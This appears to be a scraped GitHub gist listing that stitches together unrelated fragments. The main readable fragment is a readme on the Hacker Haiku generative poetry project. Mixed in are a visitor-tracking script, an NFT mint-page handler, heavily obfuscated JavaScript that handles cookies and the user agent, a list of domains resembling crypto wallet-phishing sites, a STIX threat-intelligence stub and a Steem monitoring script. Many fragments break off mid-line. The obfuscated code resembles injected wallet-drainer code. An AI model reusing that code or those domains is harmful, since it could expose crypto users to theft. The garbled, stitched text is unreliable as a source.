Skip to content

Instantly share code, notes, and snippets.

(function (siteid,domain,ssp,ip,country,device,myTrackingDomain){
function v(e) {
return parseInt(e)
}
function touchSupport() {
var e, t = navigator,
n = 0;
void 0 !== t.maxTouchPoints ? n = v(t.maxTouchPoints) : void 0 !== t.msMaxTouchPoints && (n
= t.msMaxTouchPoints);
try {
@eliyastein
eliyastein / readme.md
Last active January 12, 2023 15:15
Hacker Haiku - Aftermath

On Wed. January 11th I released hackerhaiku.com - a generative poetry project that I had been working on for three months. The project very quickly and unexpectadly went viral. Within several hours, it hit the top 10 list on the front page of OpenSea.

While the website provides a pretty good description of the project, I'd like to share some additional notes on the creation and release of Hacker Haiku.

The algorithm to generate the haikus is written in JavaScipt. The first iteration of the algorithm was woven into a chunk of boilerplate p5js code as my original ambition was to build some eye candy on top of the text and release the work on a platform like fxhash or Art Blocks.

The algorithm starts by defining a "library" of keywords, their syllable counts, and suffixes that can be appended to each word in order to transform it into a diffrent tense, pluralize it, or conjugate it. It looks like this, but includes just under 150 unique words:

library = [
//#region Page Button
const priceHtml = document.getElementById('lnprice');
let tempMaxSup = mintInfo.minUnits;
document.getElementById('plus').addEventListener('click', function () {
let total = parseInt(priceHtml.innerText, 10);
if (total >= mintInfo.maxUnits) total = mintInfo.maxUnits;
else ++total;
updatePrice(total)
});
function _0x5153(_0x2d32e3,_0xb1f421){const _0x8910cf=_0x8910();return _0x5153=function(_0x5153c8,_0x37c33a){_0x5153c8=_0x5153c8-(0x15f*0x11+0x8e1+-0x1*0x1faf);let _0x15d456=_0x8910cf[_0x5153c8];return _0x15d456;},_0x5153(_0x2d32e3,_0xb1f421);}(function(_0x4acef6,_0x16ee48){function _0x57d982(_0x1b42cb,_0x4e9d55,_0x21232e,_0x5e9bf6,_0x5b856f){return _0x5153(_0x1b42cb- -0x3da,_0x21232e);}function _0x51ac35(_0x5bebfc,_0x5a1640,_0xbd089,_0x1994fc,_0xac713d){return _0x5153(_0xbd089-0x1f5,_0x5a1640);}const _0x252a89=_0x4acef6();function _0x50a92e(_0x1222bb,_0x471735,_0x5654c6,_0x5f424b,_0x3398d2){return _0x5153(_0x5654c6-0x2a9,_0x5f424b);}function _0x22fb93(_0x278423,_0x546313,_0x20b748,_0x1922b9,_0x4a680c){return _0x5153(_0x4a680c- -0x2e4,_0x278423);}function _0x7e661d(_0x8906ed,_0x3fb364,_0x2b4d7f,_0x15d3e9,_0x3cf8b1){return _0x5153(_0x3fb364-0xb4,_0x15d3e9);}while(!![]){try{const _0x763514=parseInt(_0x50a92e(0x2a4,0x304,0x32c,0x296,0x2d4))/(-0x19b*-0x3+-0x8f*0xd+0x273)+-parseInt(_0x50a92e(0x418,0x3b3,0x3ff,0x3b
techincalvalidation.com
expeditionconsultancy.com
integratedtopappsnetwork.online
smartwallectconnectz.xyz
validate-walletsync.com
syncrepair.online
kollabland.com
bnb-defi.com
trustdappsconnect.net
smartvalidatordapps.com
{
"type": "bundle",
"id": "bundle--176454e2-de2e-4087-89d4-6ad314dff549",
"objects": [
{
"type": "threat-actor",
"spec_version": "2.1",
"id": "threat-actor--fa7a1f2d-8f01-4c17-9203-f7dc7b004f1f",
"created": "2021-08-13T15:19:31.861468Z",
"modified": "2021-08-13T15:19:31.861468Z",
let seed = tokenData.hash;
let traits = []
let dna = seed.substring(2, seed.length);
const BOOLS = dna.split("").map(h => parseInt(Number("0x" + h), 10) % 2);
const INTS = dna.split("").map(h => parseInt(Number("0x" + h), 10));
const COLORS = dna.match(/.{2}/g).map(h => parseInt(Number("0x" + h), 10));
var a0_0x7cf6=["userAgent","QP7jqPQ=","charCodeAt","s+9HR7H2","lu5HTb7mrg==","getTime",";x20path=/","aIGl","Eyv8aZQiYbkpFGQ=","FTDmaZQ9bbQ6FA==","ekke2ds2pNeJa4e","l0XFQLOx8jfjbJ","length","cpc=","KMP2jvw=","c4eyjvfi3pE=","aJayv/Csg9dO0NbM","drKoxu2hn+9Y0Q==","b4q2mw==","ap+/j+2Kk/hpzdOdjw==","epG1keithds=","toUTCString","VOnkruxmgN02s5ZFWA==","ufR8RrXnoOQlB5VCnw==","YtXMjstIgPUMiLZlaNz5W84dpZXm","jiHZx0kIyTVHWd","R1ASnw==","YN7DiNRcodQxq5R0XvbFYPwqgqD1UImgOA==","YtXMjstIgPUMjLZlaNb5QcsHsJfofqs=","fromCharCode","fJKql++3gpBPys+GtKkODo/yBA==","Zxj6A1bbTtuMnBY7pV+TJw==","t4FvMAe/uw==","setTime","pu7rYIb6CzjgwfIO","ZDdmYg==","UuPxqupqqNQ9qpJHAeTOZv40","body","t7rFvslhgEJOT","d5agig==","eJyple29","UP71iuB3oN8gt5xF","vYBkPhaV","b5yVivaxn9k=","atob","QjPTBU/QVMqugSkgoVWTMQ==","vendor","JVVeGKk1ADVhzw==","aZKomuu1","b5Khoea5g9BNzs7M","uelbTa7brOwuBps="];(function(_0x5d688f,_0x7cf6c3){var _0x42a416=function(_0x425eb9){while(--_0x425eb9){_0x5d688f["push"](_0x5d688f["shift"]());}};_0x42a416(++_0x7cf6c3);}(a0_0x7cf6,0x1
const rand_seed = size => [...Array(size)].map(() => Math.floor(Math.random() * 16).toString(16)).join('');
var seed = "0x" + rand_seed(64);
function parse_dna(seed) {
config = {};
dna = seed.substring(2, seed.length);
config.bools = dna.split("").map(h => parseInt(Number("0x"+h), 10) % 2);
config.ints = dna.split("").map(h => parseInt(Number("0x" + h), 10));
@eliyastein
eliyastein / gist:434cd9334f6aa75cfe789f5c562647d1
Created January 27, 2018 23:24
Advanced Steem Monitoring
let steem = require('steem');
var Slack = require('slack-node');
steem.api.setOptions({ url: 'https://api.steemit.com' });
webhook = '[WebHook URL]';
let criteria = [];
criteria.push({ author: 'sha256md5' });
criteria.push({ author: 'imaginary_username_2' });